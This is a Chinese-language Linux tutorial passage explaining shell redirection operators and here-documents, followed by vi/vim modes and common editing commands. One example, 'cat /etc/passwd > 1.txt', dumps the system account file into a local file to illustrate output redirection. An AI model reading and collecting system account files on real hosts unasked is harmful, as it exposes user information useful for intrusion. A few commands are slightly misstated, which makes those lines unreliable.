大多数系统命令从您的终端获取输入并将结果输出发送回您的终端。

通常用于标准输出的命令的输出可以很容易地转移到文件中。此功能称为输出重定向。

正如命令的输出可以重定向到文件一样,命令的输入也可以从文件重定向。

7.1 > 命令

将命令的输出存入文件,并覆盖文件原本的内容。

当我们执行命令时,命令的输出会显示在终端上。但有时,我们需要命令的输出保存在文件中,这时就需要>>>对命令输出进行重定向。

>符号,是将命令的输出存入文件,并覆盖文件原本的内容。

ls > 1.txt
cat /etc/passwd > 1.txt

7.2 >> 命令

表示将命令输出结果追加入文件,不会覆盖文件内容。

>>符号,表示将命令输出结果追加入文件,不会覆盖文件内容。

echo '1' >> 1.txt
echo '2' >> 2.txt

7.3 <命令

正如命令的输出可以可重定向到文件,命令的输入也可以重定向到文件。**

cat < 1.txt
ls < 1.txt

7.4 <<命令

<<命令将运算符解释为读取输入的指令,直到找到包含指定分隔符的行。直到包含分隔符的行的所有输入行都被输入到命令的标准输入中。命令形式一般如下:

command << delimiter
document
delimiter

其中delimiter代表用户定义的分隔符,两个分隔符之间,是输入的多行参数。

如:

wc -l << EOF
abcd
1234
EOF

## 其输出结果为2,统计了输入的行数。

8. linux vim编辑器

vi编辑器:vi是Linux系统的第一个全屏幕交互式编辑程序,它从诞生至今一直得到广大用户的青睐,历经数十年仍然是人们主要使用的文本编辑工具,它可以执行输出、删除、查找、替换、块操作等众多文本操作,而且用户可以根据自己的需要对其进行定制,这是其他编辑程序所没有的。 vi编辑器具有三种模式:一般模式编辑模式指令模式。 这三种模式可以通过观察vi界面的左下角判断。

在命令行执行vi [文件名] 命令可进入vi编辑器并编辑文件,如果没有同名文件则创建。

vim 文件名
此时,vi编辑器处于一般模式。
从一般模式输入字母i进入编辑模式,特征是左下角有插入字样。
在编辑模式下,可以用方向键移动光标,同时写入字符。
编辑模式下按ESC 回到一般模式。
一般模式下按:进入命令模式。特征是右下角有:。

8.1 命令模式常用指令

w         # 保存 write
q         # 退出 quit
wq        # 保存并退出
q!        # 不保存强制退出
set nu    # 显示行号
wq!       # 强制保存并退出

8.2 一般模式常用指令

/farmsec           # 搜索“farmsec”内容
gg                 # 光标立马回到第一行
2                  # 光标向下跳2行,以此类推
G                  # 移动到最后一行
dd                 # 删除当前行
d2j                # 删除当前行和下两行
yy                 # 复制一行
y2y                # 复制2行
p (小写)            # 粘贴到光标之后
P (大写)            # 粘贴到光标之前